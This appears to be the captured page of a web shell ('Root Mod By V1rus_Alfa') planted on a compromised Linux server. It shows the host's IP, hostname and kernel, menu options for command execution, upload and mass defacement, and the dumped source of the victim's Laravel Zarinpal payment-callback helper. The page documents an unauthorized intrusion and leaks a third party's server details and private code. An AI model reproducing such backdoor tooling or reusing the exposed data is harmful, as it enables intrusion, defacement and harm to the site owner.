���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix
/
app
/
Helpers
/
Viewing: call_back_payment.php
<?php namespace App\Helpers; use Illuminate\Support\Facades\Auth; use App\Models\PaymentLogZarin; use App\Models\Config; use GuzzleHttp\Exception\RequestException; use App\Helpers\HelperClass\GeneralUse; use Illuminate\Http\Request; use Zarinpal\Zarinpal; use App\Models\PaymentLog; use function App\Helpers\DateNow; use App\Models\User; use DB; use function App\Helpers\sendSms; use function App\Helpers\price; if (!function_exists('call_back_payment')) { function call_back_payment($request,$zarinpal) { $user=User::where('id',$request->id)->where('mobile',$request->mobile)->first(); if($user){ $config=Config::where('key','payment_price')->first(); $payment = [ 'authority' => $request->input('Authority'), // $_GET['Authority'] 'amount' => (int)$config->value ]; if ($request->input('Status') != 'OK'){ PaymentLog::create([ 'authority'=>$request->input('Authority'), 'amount'=>$config->value, 'status'=>$request->input('Status'), 'message'=>"Error", 'user_id'=>$user->id, ]); return 'error'; }else{ $response = $zarinpal->verify($payment); $code = $response['data']['code']; $message = $zarinpal->getCodeMessage($code); if($code === 100) { $exp=DateNow('when',null,'year',1); User::where('id',$user->id)->update([ 'payment'=>'true', 'expire_date'=>$exp, ]); PaymentLog::create([ 'amount'=>$config->value, 'authority'=>$request->input('Authority'), 'RefID'=>$response['data']['ref_id'], 'status'=>$request->input('Status'), 'message'=>"Payment was successful, RefID: ".$response['data']['ref_id'].", Message:".$message , 'user_id'=>$user->id, ]); if($user && $user->device_token){ $title_push='پرداخت انجام گردید'; $body='پرداخت با موفقیت انجام گردید'; GeneralUse::send_push_massage([$user->device_token],$title_push,$body); } }else{ PaymentLog::create([ 'authority'=>$request->input('Authority'), 'amount'=>$config->value, 'status'=>$request->input('Status'), 'message'=>"Error", 'user_id'=>$user->id, ]); return 'error'; } } }else{ PaymentLog::create([ 'authority'=>$request->input('Authority'), 'amount'=>$config->value, 'status'=>$request->input('Status'), 'message'=>"Error", 'user_id'=>$user->id, ]); return 'error'; } } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa